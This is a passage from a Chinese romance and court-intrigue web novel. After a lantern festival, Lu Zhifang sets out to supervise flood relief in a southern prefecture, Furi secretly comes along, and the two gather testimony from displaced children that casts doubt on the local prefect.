等住到了山上,对出来游玩还是很向往。 等到了入夜,东市花灯会上,万盏华灯如繁星,将长街上游人如织的盛景照亮。 最热闹的要数鳌山灯棚。 堆得快两层楼高的灯棚下,里三圈外三圈地围了好些人。馥梨她们来得早,就站在了内圈,在嘈杂人声里忽而听见一声不太确定的招呼,“沈大夫?迟姑娘?” 她转头看去,看见一道瘦高影子。 是在寿宴上见过的宋良弼。 宋良弼艰难地越过人群挤来,同她与沈霜月见礼,“二位,好巧呀,你们也来凑这花灯会的热闹?” 馥梨说话小声,他凑低了头,才听见她一声脆生生的“是呀!宋大人!”少女杏眸在灯火璀璨处,明亮动人,看得宋良弼失神了一瞬。 恰逢灯棚下,制灯人将小灯山的纱布揭开了,露出样式精美繁复的牡丹灯、荷花灯、鲤鱼灯……花灯一盏接一盏,挂在小灯山上,最顶层一盏宫灯精美绝伦。 就像最璀璨的夜明珠,霎时吸引了所有人的视线。 馥梨也看着宫灯上描绘的图样看痴了。 “小灯山上,每盏灯都有一个灯谜,猜中了的人就能免费带回家,有谁可想一试?” 制灯人朗声问道。 有人点了那盏荷花灯。 “谜面是——一口咬掉牛尾巴,打一字。” “告字。” “恭喜这位郎君。” 有人点了鲤鱼灯。 “谜面是——九十九,打一字。” “这个更简单啊,白字。” “恭喜这位小娘子。” 小灯山上,花灯一盏接一盏取走,留下最顶层的一盏宫灯,谜题是“黄绢幼妇,外孙齑臼”,打四字。 在场众多文人学子猜了许久,都无人夺宝。 馥梨看了一会儿热闹,知道沈霜月习惯早睡,便同宋良弼告辞了,“宋大人,我同师娘先回去了。” 宋良弼方才也猜得了一盏玉兔灯。 他提在手上,送二人回到客栈前,犹豫片刻,还是将玉兔灯往馥梨面前递过去,“迟姑娘,如若不嫌弃,收下这盏灯,就当花灯会凑热闹留个纪念吧。” 玉兔灯造型别致可爱。 馥梨垂眼欣赏了片刻,还是摇摇头,“不是我自己猜出来的灯谜,怎么好意思要宋大人的灯。”她朝着宋良弼一福身,谢绝了,扶着沈霜月,回到去客栈。 沈霜月睨她一眼,小姑娘方才瞧热闹的兴致散了,神色有些闷闷不乐,“还是喜欢那盏宫灯?” “宫灯漂亮,我看看就好啦。”馥梨送她回房间,安顿好之后,再回到隔壁房间,坐下发了一会儿呆。 她是以为,陆执方知道她们来义诊,会赶过来。 结果宋良弼方才赏灯时,和她们闲谈,说陆执方在大理寺办公,半道又被陛下召进了宫里。 不想了,睡吧。 夜深人静,馥梨换洗好舒适宽松的寝衣,正要吹灭屋内的小灯,窗扉忽而“啪嗒”一声,像是被什么敲打了一下。馥梨没动,片刻后,又听见同一种响动。 她打开窗扉,面庞被倏尔冒出来的花灯照亮。 熠熠流光,正是灯塔最上层那盏精致宫灯。 宫灯一晃,露出个俊俏的冷面郎君。陆执方攀着栏杆,阔袖被夜风灌得鼓起来,姿态在如追云踏月的神仙,偏生语气幽幽:“拉我一把,快摔了。” 第47章 陆执方虔诚地吻上那颗痣…… “拉我一把,快摔了。” 馥梨先接了那盏宫灯,再握上陆执方的手,用力一拽,青年便借力翻身,跃进了她窗台。她从窗棂往外看去,这可是三楼,“你好好地怎么不走楼梯?” “这时辰都要登记访客,客栈是师娘订的……”陆执方言而未尽,馥梨心知肚明。 把师娘喊醒了,世子爷就要被再撵一遍啦。 沈霜月是真心把她当闺女看待,哪能在夜深人静的时分,让男子单独去她屋里,哪怕是陆执方。 八角宫灯用檀木精心雕琢而成,框架饰回字纹,薄纱灯罩柔软,上头所绘花鸟鱼虫,栩栩如生。馥梨用手指一拨,宫灯悠悠转起来,晕开浅淡的暖光。 “世子爷,所以灯谜的谜底是什么呀?” “你手拿来。” 馥梨的手伸过去,陆执方在她掌心轻画。 “黄绢为有色丝绸,是绝字,幼妇为少女,是妙字……”他嗓音轻缓,不疾不徐拆文解字,指头挠出的酥痒好像顺着手掌,钻到馥梨的手臂上。 “这是前朝大学者在某则碑文上的题词,谜底已叫前人解出来了,我侥幸在某本杂记上读过。” “原来,也不是世子爷解出来的。” “不能借花献佛?”陆执方抬了抬眉梢,长臂一捞,就要把那盏宫灯收回去,馥梨急忙藏在身后。 “没说不能呀!” 可青年郎君步步紧逼,把她逼到了墙角,轻易地夺走了她攥着的宫灯提柄就走。馥梨眼巴巴跟着他。 陆执方提灯将人溜了三圈,才吹灭原本客栈厢房的灯,将宫灯支在床头花瓶上,“给你当夜灯罢。” 少女眼眸弯起来,再露了笑。 陆执方揉乱了她的发,在软绵绵的脸蛋子上掐了一把,手感很好,还想再掐时,被她拉住了手指。 “宋大人说,陛下又召你进宫了。” “嗯。” “是什么要紧事,连花灯会都差点没赶上。” “怎么?又怕我被抓去尚公主?” 馥梨不说话,陆执方轻轻一提,叫她攀着自己肩膀,两只小小的绣鞋踩到了他乌皮靴面上。 少女骨肉匀停,这些日子吃住都在滦贤山,理应没少跟着师娘满山跑地采药,可竟然还长了些肉,可见过得十分舒心快活,只有他一人觉得思念难捱。 馥梨得以同他平视,盯着他:“你快说呀。” 陆执方莞尔:“不尚公主,是为了南方洪涝赈灾的事情,一切物资就绪,还差个督办钦差。太子殿下和三皇子都想派自己的人去,两边僵持不下,陛下便召了几个臣子来商议,我就在其中。” “商议出结果了吗?”馥梨有些关心,送去赈灾物资里有一部分还同她有千丝万缕的联系。 陆执方定定看她,声线沉了沉:“派了我去,还叫我暂代翁沙县的政务,直到新任知县调过来。” 馥梨愣怔:“这怎么……听着像贬官呢?” “你没猜错。”陆执方颔首。 新任知县何时调来,是户部决定的,而户部的权陛下还未放给东宫。赈灾结束后,他何时能回京中,全看圣心何时转圜,想起他这么个人来。 说到底了,陛下还是恼他直言拒绝了云梦公主,上次在春狩上隐忍着没有发作而已。 馥梨静了许久。 “世子爷,你家里知道了吗?” “没回去过,一出宫就往东市花灯会赶了。” 凭借镇国公府的灵通,父亲早该得到了消息。 陆执方搂着她温软身子,像在汲取力气,在馥梨颊边亲了一下,“不会一直扔我在翁沙县的,放心。”便是父亲不为他筹谋,大理寺和东宫都会出力。大理寺卿陈蓬莱已把他视为接任人了。 “你在这里,跟着师父师娘好好过。” “等我回来,就同家里说。” 赶去东市的路上,心绪翻涌。 赶到东市花灯会,人潮拥挤,他隔着人山人海,看到她与宋良弼靠近说话,心头亦翻江倒海。 本该以为有千言万语,临到这一刻,搜肠刮肚也只得两句叮嘱。她愿意陪他争取,已是最大的承诺。 陆执方松开她,“走了。” 腰上被一双柔软的手扣住。 少女眼里情绪满溢,樱唇微张,几度开阖无话,最终将柔软馨香的唇贴上来,在他下颔亲了一口。 “给你送这么漂亮的宫灯,就值这……”陆执方故作轻松的调侃没说完,被她唇堵上。 生涩笨拙,偏生学着他,寸许丁香缓缓勾缠。 陆执方感觉有一股火,从心里烧到了腹下。 花瓶上斜插的宫灯忽而摇晃。 纠缠的一双人影在壁面一转,跌入了床榻上。 陆执方掌着她后脑勺,夺回主动权,含过香唇,尝过丁香,深吻辗转至莹润白皙的耳垂,轻咬重吮。 怀中人止不住颤,低哼一声,甜软得过分。 他再加重力道,听不到第二声轻吟。 馥梨竭力控制着,“耳朵痒,不要……” “好。”陆执方从善如流,自问体贴地从她耳廓移开,辗转往她颈窝去。美人衣襟散乱,剥出圆润的肩头,偏颈窝小红痣一点艳色,在雪肤上勾魂夺魄。 陆执方虔诚地吻上那颗痣。 掌心之下,兰躯隔着一层薄衫,于曼妙绵软之中透出温热,随她阵阵的急促呼吸起伏。深夜偶有思念梦回,万般绮丽梦幻,都抵不上此刻真实,细腻。 叫人几乎悸动到喟叹。 馥梨中衣褪至臂弯,正簌簌颤颤。 陆执方叫她手脚发软的吻却停了下来,抬首对上她的眼睛。他如寒潭幽深的眼里有欲色,也有克制。 清冽呼吸缠绕在她鼻尖。 “小梨儿。” 他亲昵地唤,声音微哑。 馥梨攀上他后颈,将他拉下来,闭眼吻上去。 陆执方当真叹息了一声。 吻至两唇发烫,呼吸无分你我,他拉过了一旁叠的薄被,将她严严实实盖好。小娘子双眸迷离困惑,一双玉臂还要伸出来抱他,被他无情按回去。 “等我回来?嗯?” “好。” “乞巧节、庙会、重阳踏青……无聊了玩乐可以用迟霓的名义,给嘉月递帖子,不准找别的郎君。” 小娘子迷蒙片刻,好像在思考,“别的郎君都是……”唇旋即被手掌捂上,方才还轻声叮嘱的人,此刻语调冷沉了几分,“想也不许想。” 陆执方回到镇国公府时,本该是熄灯时辰。 然而正堂灯火通明,陆敬坐在里头,冷眼看他。 “我还以为,你一出宫就收拾收拾包袱,赶去那穷乡僻壤赴任了。还知道回来?” “父亲,陛下有令,让明日再出发。” “你知道为何非得是明日吗?今夜就是最后给你反悔的时机。你明早随我进宫,求娶云梦公主。” 陆执方拢袖看着眼前的父亲。 “陛下九五之尊,金口已出,岂能因几句话朝令夕改。父亲若是怕陛下气难消,影响陆家朝堂地位,大可不必。陛下既已责罚,便不会再无端迁怒。” 陆敬心思被他直白戳破,脸上有几分挂不住,差点就把凉透了的茶水泼过去,“赈灾钦差岂是那么好做的?陆家是两头不偏,你与太子同一师门,在那位看来就是隐藏的太子党。你这差事,做到十全十美才能有功,但凡出一点纰漏,都是祸端!” 此话不假,陆执方没有反驳,垂眸听训。 正堂灯火亮至深夜。 陆敬没能说动陆执方,只知道翌日一早,不孝子又被召进宫去训诫了一番,调令依然没能更改。 等陆执方离城,已经是午时。 镇国公府里只有陆嘉月来送,苗斐也想来,碍于陆敬还在生气,便也没来。 大理寺同僚来得不少,连连宋良弼都在。 陆执方一一仔细看去,没有那道玲珑身影。 游介然是来得最早的。 他骑了一匹马送行,还带了一架装满了货物的大车,车夫也是游家雇的,“这车物资是小爷自掏腰包补贴的,不跟户部赈灾的大部队走,就跟你的车,我跟你送到驿站就原路回头。” 陆执方看了一眼,觉得麻烦,倒没拒绝。 他示意那车夫跟上陆家车马,再调转马头,回望城门下,送行的人该到的都到了,也告别过了。 “时辰差不多了,出发吧。”他挥手,示意高扬驾车送嘉月回去,便一夹马腹,先朝着城外跑。 “哎,陆九陵你等等我啊。”游介然骂骂咧咧,一甩马鞭追上去,踏出尘土飞扬。 户部大部队先行,他们便不算赶。 一下午的路程,抵达罗阜官驿时,正是日落。 荆芥替他要了官驿最好的房间,陆执方告别一路絮絮叨叨的游介然,在大堂用完晚膳,回到厢房里。 屋里正中央的空地上,摆了个大箱子。 “这是何物?” “世子爷,这是游公子随车物资里的,他叮嘱过小的,要夜里给你搬回来。” 荆芥回忆那重量,“可能是酒坛?挺重的。” “公差路上,不至于这般没分寸。” 箱子上贴着封条。 飞扬肆意的字迹,一看就是游介然写的——“今夜日落,九陵亲启。”陆执方嫌弃地皱眉,想不到他葫芦里卖的什么药,挥挥手让荆芥退出屋外。 “撕拉”一声,封条被他开启,箱子盖忽然动了动。陆执方冷静盯视那盖子,退开了半步距离。 盖子抖抖,啪叽翻开,从里头探出个雪肤花貌的小娘子,抱膝正好到他半身高,脸蛋上还印着箱子里木板条一道道的痕迹,眼神却很亮。 “陆执方。” “我食言了,我还是想……” “想陪你一起去。” 馥梨看着眼前愣怔失神的青年郎君。 她没有像陆执方说的那样,半点不想他。 她想的。 第48章 小祖宗。 “想陪你一起去。” 馥梨说完了,眼前的青年郎君却没有她预料的欣喜。哪怕知道他惯常是喜怒不形于色的人,她都没从陆执方的脸上看到一丝一毫克制后的欢欣。 “先出来。”他伸来一只手。 馥梨握上他干燥温暖的手掌,维持同一个姿势在箱子里睡了这一路,猛然站起来,腿上哪哪都酸软无力。她一步踏出来,身子往前一栽,陆执方手臂绷紧给她扶好,提声往外吩咐。 “荆芥,叫大堂送一顿晚膳来。” “是。” 大堂饭菜送得很快。 红烧肉、清炒韭菜、卤水豆腐并一碗蛋花汤。热腾腾的三菜一汤,已是官驿里能提供的最好晚膳。 陆执方扫了一眼脸蛋印记还未消的小娘子。 “好吃吗?” “嗯。” 馥梨扒着饭点头,唇上沾了点油光。 陆执方见过她在静思阁吃年夜饭,与她在滦贤山拜访老师师娘时,同坐一桌共进过餐。馥梨吃饭细嚼慢咽,斯斯文文,此刻依旧如此,可也看出来饿得急了。人但凡饿起来,粗茶淡饭都是人间至味。 官驿厨子的手艺分明糟糕得很。 “我去赈灾兼代管翁沙县的政务,那里受灾最重,去到了,或许连这样的三菜一汤都吃不上。” 陆执方的语气很认真。 “我也不是去游山玩水的呀。” 馥梨夹卤水豆腐的动作一顿,重新攥了攥竹筷,“我跟师娘这段日子,学了处理伤口的简单办法,懂得清理包扎,时令病像是风寒的通用配方我记得,到了可以给医馆调配,还能给大夫们打下手。” 陆执方无言,脸上表情显然还是不赞同。 馥梨闷声吃饭,屋内一时静得很。 至熄灯时分,两相对视,谁都不想让步。 陆执方坐在床缘,朝她伸了手。他没让荆芥再多开一间厢房,馥梨是去是留,今夜都同他一处,全看明日出发前,谁是先说服对方那一个。 小娘子乖顺地走近他,与他牵手。 薄被覆盖上,体温熨帖,屋内还留一盏暖灯。 “赈灾队伍里有医官,有专门应对时令疫病的药物,不缺你一个忙前忙后。你走了,谁帮师娘编写草药典籍?”陆执方的声音放松低缓,有些像耳语。 馥梨没有答话。 他还在描述:“春汛初退,路上泥泞脏污,断壁残垣,未处理的人畜尸体随处可见。当真不怕?” 她被他握着的手动了动,还是没说话。 “明日一早,我就让荆芥送你回去。” 眼下还没离开皇城太远,一个下午的路程,荆芥脚程快,送她回去再追上,不会耽搁一点进度。 陆执方拢着她柔弱无骨的手指,不轻不重掐了下,放到唇边亲,“小梨儿,点头说好。” “才不好。” “馥梨……” “陆大人考虑了人手充足,考虑了师娘的草药典籍,连我会害怕灾后乱象都预设了,怎么最重要的理由却一点都不想?” “什么是重要的理由?” 馥梨声音轻轻的:“陆执方,你不想我在吗?” 陆执方愣怔。 “你说一句不想,我明日立刻就跟荆芥走。”馥梨将手抽走,翻了身拿背对着他,连着薄被也扯走了。 陆执方怀里一下空荡,温热倏尔散尽。 还未成婚,已经无师自通懂得怎样治他了。 他想的,怎么不想。 看见她从箱子里冒出来的第一眼,还觉得是日有所思看见了幻想。陆执方呼出一口气,“馥梨。” 小娘子给他一个裹成蚕的背影。 他语气幽幽:“我冷。” “……” “真的冷。” 小娘子掸掸手脚,撑开薄被,又慢慢滚了回去,将他妥帖收藏在不够宽厚,却温软馨香的怀抱中。 两人都睡了个好觉。 翌日清早,馥梨换上大箱子里预备好的男装,游介然想得周到,连尺寸都大差不差。深蓝色软皮小帽,配同色的细棉窄衫长裤,不过片刻,娇俏清丽的小娘子变成了机灵清秀的小厮。 陆执方看馥梨在眼前转了两圈。 眉眼肤色都用脂粉刻意修饰过,遮盖女气,强调利落干净的眉锋与鼻梁,饶是如此,举手投足依然能看出几分女儿家的天真娇憨,只能糊弄眼拙的。 “难道不像吗?”她刻意瓮着嗓子,眨眼问。 只得七八分像,不过男装到底行事方便,陆执方扶正了馥梨的软皮小帽子,“去到地方少说话,我去哪里,你去哪里,当个哑巴影子。” 馥梨点头。 陆执方越过她走到屋外,回头催促时,语气终于漏了点笑:“还不快跟上?” 馥梨小跑着去。 翁沙县在定南府,一入定南,事先会经过陶州。 陶州城外,有锦衣青年骑马来回逛,视线梭巡每一个入城的人。馥梨骑马跟在陆执方身后,青年远远先看陆执方,再看她和随行人员,眸光一亮,打马迎上来:“敢问可是赈灾钦差陆大人?” 陆执方侧目:“阁下是?” 青年一笑:“小人是南定知府嵇锐进之子,嵇鹏,家中行二,陆大人叫我嵇二就好。父亲得知陆大人不日将到,特定命我在城外迎接。陶州不曾受灾,但有其他州民涌来,家父怕冲撞了陆大人。” 嵇二郎一边说,一边引着他们一行人往城门去。 “对了,陆大人能否让我看看钦差令牌?” “怎么?嵇二郎怕有人胆子肥到假冒钦差?” “天灾之下,什么牛鬼蛇神都冒出来了,我实在看招摇撞骗的人看得太多了。” 嵇二郎说罢,竟勒了马。 原先守城门的卫兵见到他来要放行,一双长塑又顿时降下,拦住了去路。陆执方眸光微闪,同嵇二郎对视,从对方眼中看到了答案。 他转头看向荆芥。 荆芥朝嵇二郎出示了吏部的调令文书。 这便是陛下派他督办赈灾的矛盾之处,给他督办之权,钦差名头,却无管辖知府的钦差令牌,调令文书上只说暂代翁沙县政务。若非他大理寺官职还在,官阶上还比嵇锐进低两级。 嵇二郎细细看过,恭敬地递回,“小心驶得万年船,陆大人勿怪。天很快将黑,客栈已经定好,小人这就带陆大人先行安顿。” 馥梨留神看了入城后的景象。 嵇二郎说陶州不曾受灾,路面便也没有陆执方给她描述的那种惨状,甚至连涌入的流民都很少。日暮刚至,不少商铺就闭了门,街道上行人稀少。 嵇二郎将他们带到了客栈。 “小二哥,这位是前来督办赈灾事宜的钦差大人,好酒好菜都招呼上,赶紧的。” “好咧!” “不必铺张。” 陆执方提了一句,跑堂小二摇头笑了笑,“说是好酒好菜,待会大人见了可别笑。定南多州受洪灾,嵇大人组织富商慷慨解囊,咱东家捐了不少米面肉,连招牌菜好几例都撤下去了。大人来年再来,小店定能叫您吃上更好的定南美食!” 陆执方有些讶异,挑了挑眉。 待席面呈上,果真只是略丰富一些的寻常饭菜。 同官驿水平差不多。 陆执方吃了个半饱,没再动筷,馥梨坐在他旁边捧着碗,见他不吃了,便也放下碗筷。桌布之下,她的手忽然给陆执方抓住了。她抬眸去看,这人一边同嵇二郎镇定自若地闲谈,一边在她掌心比划。 一笔一划地写——吃你的。 她脸颊微烫,右手又握起了筷子。 直到嵇二郎拿出了一叠简报,“陆大人看。” 陆执方松手,接过来,发现是定南府各州的简略情况,包括农田受灾、屋舍损坏、居民伤亡失踪数目,按最严重到最轻,依次排列。 “这是家父在洪涝发生后,命各县统计呈报的,只是目前得知的情况,最新的还有待各县跟进。户部与工部几位大人先陆大人一步,已经派物资往翁沙县、安浚县、义宁县这些受损最厉害的地区去了。” 陆执方捻着那叠简报没说话,看了嵇二郎一眼。 嵇二郎摸摸鼻尖:“可是有什么不妥?” “没有,嵇大人做得很好,”陆执方笑,“有了这些简报,还省了本官许多的行路麻烦。” “家父正是此意,他正忙着在定南府组织重建,脱不开身,过两日就到翁沙县亲自拜会陆大人。” 嵇二郎举杯:“薄酒一杯,为陆大人接风洗尘。” 陆执方亦举杯饮过,那酒味酸薄,在舌尖笼罩,回到厢房里,用清茶漱过两遍口,才消散干净。 馥梨吃饱九分饱,有些困。 客栈厢房不大,一床一榻,她坐在榻上打盹儿的功夫,看见陆执方从箱笼里翻出一套黑色夜行衣,放在床边,显然是打算迟点再换的。 “陆大人这是要……” “嘘。” 陆执方朝她无声比了个手势。 待一刻钟后,屋外传来荆芥的敲门声,“爷,排查过了,客栈前后门各有一人看守,别的地方没了。” “好。”陆执方放下了茶瓯,示意她继续讲。 馥梨指指那套夜行衣:“要去哪里?” “去各处转转。” “世子爷怀疑嵇二郎说的吗?” “怀疑谈不上,眼见为实,见过了再说。” 陆执方不是第一次出公差,每每到任地方,地方官给他的接风洗尘总是分外豪奢,美酒佳肴不说,连歌姬琴妓都要安排,生怕他有哪些不满意。 嵇二郎的接风洗尘,太顺心合意,倒叫他警惕。 他才解释完,就见馥梨也从自己衣箱里翻出了一套夜行衣,满眼期待地看着他:“世子爷。” 陆执方一噎,“游介然怎么连这个也备?” 小娘子嗓音轻软,还是那句话:“你想我去吗?”言下之意,他说一句不想,她就不去。 陆执方磨了磨后槽牙,说不出一个不字。 “世子爷?” “别喊爷了,迟早得倒过来喊你一声。” “喊什么?” 陆执方不答,泄愤般吻上她明亮的杏眸。 小祖宗。 第49章 连人带包袱一起扛。…… 荆芥负责引开客栈后门盯梢的人。 馥梨背着个沉甸甸的小包袱,听见荆芥弄出动静和随他远去的脚步声后,同陆执方悄悄溜出了客栈。 今夜月圆,照得陶州城寂然清冷。 两人影子在石砖路上被拉得斜长,往入城时看见的没那么繁华的街道走去。嵇二郎给他们订的客栈是陶州城里最好的,他们要找差的,最差的那种。 “世子爷,那里!” 馥梨看得清楚,指向长街西北面一间插了三角旗的商铺。她在简县住过那种好几个人挤一屋的客栈,本来是民房,主人家私自改商用,就用这种三角旗做标记,想来南方各地都差不多。 陆执方敲门,让馥梨在门口守着。 店家姗姗来迟,挪开了门板,夜里只看见来两人一身黑衣,个子矮小那个还背了行囊。 “住店的?” “多少钱一晚?” “上房没了,下房通铺,一人三十文。” “这么贵?” “三十文还嫌贵?城中哪个客栈有我便宜?”店家不耐烦皱皱眉,伸手一指远方,“再往西走八里有间破庙,那里不用钱,随便住。” 说罢就要把门板再卡上。 陆执方掏出二十文,挡住了门板。 “不住店,下等房让我进去看一眼,问几句话,定南洪涝,家中亲戚没了音讯,我们来寻人。” 店家嘟嘟囔囔嫌麻烦,又舍不得小钱,收了钱转回去,“你跟我来,不少都睡了,被骂了别怪我。” 馥梨一直留神看街道上有无旁人经过。 远远听见一阵打更声,有更夫经过,她隐入角落躲藏好,待更夫走开了,商铺里头陆执方也出来了。 “走这边,那边会碰见更夫。” 她自然而然地拉起陆执方。 陆执方盯着那小手,捏在他黑袖子上,分外莹白还有些圆润。他无声勾了勾唇,听见馥梨小声询问:“世子爷,里头可打听出什么了?” “各县来避难的十五人,而来自安浚县、义宁县的一个都没有。简报说这两县是翁沙县外受灾最严重的地方。要么情况不实,要么严重到无人逃脱。” 陆执方牵着她,按照店家的描述,去寻那破庙。 八里路不好走,小姑娘脚步不曾慢下来,话渐渐变少了,在暗暗保留力气。陆执方松了手,往她后背去,“包袱给我。”出门时,馥梨非要替他背的。 馥梨身形一滞,后退了一步,“我还行,待会儿就不用背了,已经没多远……”腰上一紧,陆执方双掌钳上来,将她竖直地提溜起来,“不给就算了。” 连人带包袱一起扛。 她手忙脚乱,“给、给你背,快些放我下来。” 陆执方将她放下,她脚踩到地面,沉甸甸的包袱转到他背上,肩膀被他手掌不轻不重地揉了一下。 馥梨肩头本就在发酸,没忍住呜了一声,肩膀上的手就敲到她脑门上,“累了不知道说,活该。” 那语气凉凉的,重新牵上她的手掌却很温热。 小破庙比馥梨预想的还要小,还要老旧。 仿佛再来一场疾风暴雨,就能把屋顶掀翻了。看这模样,容纳不了多少人。她看陆执方在小破庙角落的空地上,解开了包袱,露出了满满当当的红薯。 “处理下。”陆执方点点那堆红薯。 馥梨一个个捡出来,又找来好些树枝,折成小棍子,陆执方已生好了火。火苗燃烧,火舌舔过枯枝,爆出细微的噼啪声,给他清冷面容镀上一层暖光。 “世子爷怎么会做这些的?看着好娴熟。” “一些是老师教的,一些看荆芥做,看会了。” 两人并肩坐着,没有再言语。 馥梨将脑袋靠过去,陆执方的手臂便揽过来,她眯着眼,迷迷瞪瞪睡了好一会儿,给烤红薯浓郁的甜香唤醒了。一睁眼,对上好几双闪着幽光的眼睛。 她差点吓得惊呼,定睛一看,都是半大孩子。 孩子们全都蓬头垢面,面黄肌瘦,看着火光中的烤红薯咽口水。有的孩子手里还紧紧捏着削得极尖锐的薄石块,把它当成仅有的防身武器在用。 两个大人,一群小孩。 要是混乱对弈,小孩们也并非毫无胜算。 他们彼此对视一眼,天真稚嫩的脸庞露出了不符合年纪的早熟与盘算,三三两两围拢来,想强抢。 陆执方动了动手腕。 为首最大的孩子猛地停住了。 他解开护腕,露出了他们没见过的精巧机关,在月色下泛出幽冷光泽。大孩子只见他两指微扣,噗地一声,自己的脚尖微震,低头瞧见一支短箭没入他的草鞋前一寸,深深扎入了冷硬泥地里。 孩子们刚提起的胆气吓得四散。 如惊弓之鸟,仓惶而逃。 此刻,又有什么朝着他们扔来,“接好了。” 温热到滚烫的,软绵绵的烤红薯。薄薄的皮被烤得裂开,流动的金黄蜜浆黏糊在手上。 呼吸之间,都是久违的香甜。 最先拿到的孩子傻愣,皮都没剥,就咬了一口。 陆执方将剩下的烤红薯一个一个抛过去,“一人一个还有多,安安分分别争抢,都有吃的。” 灾情乱象中,能够卖力气的青壮男人有钱落脚。 破庙里睡觉的自然剩下妇孺老弱。对这些最饥寒交迫的人来说,半夜热腾腾的烤红薯比铜板还管用。 只他没想过,这次遇到的全是小孩儿。 馥梨望见最先吃的小孩儿,眼里已冒出泪花。 不知是觉得太好吃了,还是觉得辛酸。 “你们要不要,坐过来吃?这里还有好多。”馥梨拍了拍旁边的位置,“我们只想打探一下灾情。” 人群里头年纪最小,脸最圆的小孩儿捧着红薯,先一屁股坐在了馥梨身边,埋头苦吃起来。吃完了,馥梨给他递了第二个,“你叫什么名字?” “我叫王小五。”王小五奶声奶气,吃得嘴角都花了。其余人见确实可以领到第二个,也都围拢过来,方才剑拔弩张的气氛变得和缓。 陆执方打量着这些孩子:“你们不是陶州人?都是一个地方来的吗?” “我们是如溪县来的。” “原先就认识吗?” “在同一条村的私塾先生那里识字。” “家里人呢?” 提及家里人,孩子们纷纷沉默,手里烤红薯顿时变得没滋没味了,有人开始抹眼泪,哽咽着道: “洪水来时最先冲的就是翁沙县,接着是我们县。那时,我们正在私塾上着课,私塾地势高,躲过去了,可我们好多人都同家里失散了,只好聚在一起,不至于孤零零地受人欺负。” “县令没安置你们?” “粮食有限,帮县衙做事的人先得,我们争抢不过大人,原来家里房子也冲塌了,听说陶州没受影响,还有富商施粥赠药,就过来了。” “谁知道,过来了,也是饥一顿饱一顿。我就说,留在村里等官府救灾。”说话的孩子垂头丧气。 另一个孩子高声反驳:“我才不等!那么多畜生都淹死了,肯定要发瘟病的,连县老爷都要病了。” …… 陆执方记得,如溪县在简报上,灾情描述很简略,排的顺序也在后面,按理说是受影响轻的地方。嵇二郎说如溪县人少,疏散得及时,不算太严重。 他又陆续问了这些孩子好几个问题。 提及定南知府嵇锐进,为首年纪最大的孩子情绪尤为激愤:“姓嵇的就是个狗官!” 馥梨道出疑惑:“可陶州百姓都在夸他,说他及时组织富商慷慨解囊,都捐到有需要的地方去了。” 那孩子恶狠狠地骂道,“假仁假义!做这些肯定为了博得好名声。我们在如溪县等了好多天,连块饼都没等到。说不准就是他独吞了。” 王小五细声补充:“我听奶奶说,大康的远房姐姐在知府老爷那里做婢女,把命稀里糊涂搭在那了。”这个大康,就是骂嵇锐进假仁假义的孩子。 烤红薯一个个送出去。 篝火堆没再添柴,火渐渐变小了。 孩子们七嘴八舌,说出自己知道的情况,说到最后,异常地沉默。馥梨从身上掏出所有铜板给了王小五,“虽然不多,明日一早,拿去买些干粮吧。” 陆执方用泥土弄熄地上最后一点火星,“明晚这个时候,有人来给你们送钱粮,好好待着别乱跑。” 两人告别了那些孩子,离开了小破庙。 馥梨牵着他,一路安静无话地走,步伐比来时更沉重几分,忽地,静悄悄的月色中,腹中叽咕一声。 她脸上腾地涨红了,去看陆执方。 青年眸中闪过笑,从怀里掏出个半热的烤红薯,塞到她手心里,“只剩个最小的了。” 馥梨睁大眼:“世子爷何时藏起来一个的?” “你顾着派,自己忘了吃的时候。” 陆执方随手揉乱了她后脑勺的头发。 距离客栈后门一段路的地方。 荆芥守在那里,远远见到他们身影,快步迎来,“爷,得快些回去。” “怎么?” “客栈那边,嵇二郎房间一刻钟前亮了灯,说是遭贼了,正在搜查,还想进去你屋里说话。” “黄柏守在屋门口,不会放他进来。” 陆执方加快了脚步,虽然不会进来,但他太久不出房间,嵇二郎必定起疑心。他看似殷勤接待,实则自他们踏入陶州城门后,每一步都在他视线之下。 二楼厢房,嵇二郎带了好几人,正同黄柏对峙。 “我确认一眼陆大人安全,即刻就离开。” 黄柏挡着,神色不耐烦,“都说爷正睡着。” “这动静,早该把陆大人吵醒了,屋内一直安静,难道你不担心你家主子?”嵇二郎声音冷下去,指挥手下硬闯,“陆大人负责赈灾,身系我定南府的百姓福祉,我实在不得不看一眼求个心安。” 第50章 春风醉浸过的唇。…… 黄柏虽然武艺在荆芥之下,对付嵇二郎手底下的衙差,也足够了,何况应付到一半,荆芥就赶来帮忙。他放心地迈出几步,将屋门留给荆芥守。 打着打着,却听见了屋门被撞开的声音。 他错愕地回头,望见荆芥失守,漏了个大破绽,衙差们趁机涌入,悉数闯到了屋里。怎么会? 转眼间,嵇二郎已经迈步入内。 屋内昏暗,床帏落下,遮挡得严实。 盯梢客栈的人换防时来禀告,无意中说漏了嘴,让他知道守后门的人曾经擅离岗位。 “陆大人?”他试探着问道。 床帏内静悄悄的,无人应答。 “陆大人,客栈遭盗贼,我屋内财物被抢,小厮还受伤了,特意来看看陆大人是否还安好?” 嵇二郎的手慢慢靠近,蓦地,陆执方带着困倦与不耐的声音从内传出:“哪个贼吃了熊心豹子胆。” 嵇二郎面色微变。 陆执方已掀开了一半幔帐,盘腿坐起。 走廊的灯光透了些进来,隔出一道模糊的亮色。他看着满屋的人,以及随时戒备的荆芥和黄柏,似笑非笑,“不知道的,倒以为本官才是那个贼。” 嵇二郎讪讪,挥了挥手,屋里的衙差霎时间走得干净。他作了赔礼姿态,腰深深躬下去,“是我打搅陆大人。”说虽如此,并没有立刻就退出去的意思。 再抬头,他双眼仍旧带着探究,看向陆执方。 陆执方吩咐荆芥点灯,守在屋外。 他趿拉起床边的软履,拢好了中衣,遮住了露出的一片赤裸胸膛,施施然走到弥勒榻上坐好。 嵇二郎此刻才发现,床边还散乱着一双小鞋。 半开半阖的床帏内,女子如缎子柔亮的长发铺开在软枕上,影影绰绰看不清侧脸,露出来的一段颈脖柔美非常,肤色在乌发衬托下白如凝玉。 即便看不清脸,也能想到是个勾魂的美人儿。 陆执方表情坦荡,狭长眼眸里风流蕴藉,语气是纵情过后的慵懒放松,“本官睡前小酌了两杯,于是便睡得沉了些,没听见嵇二郎询问的动静。” 他从弥勒榻底的箱笼里,翻出一壶酒,“嵇二郎来一杯?京城带来的酒,滋味比晚宴有许多不同。” 嵇二郎未答,陆执方已给他倒上了一杯,随手递过来。他不好拒绝,饮了一口,入口绵醇,高粱香气萦绕,果真是好酒,好到让他心头泛起了困惑。 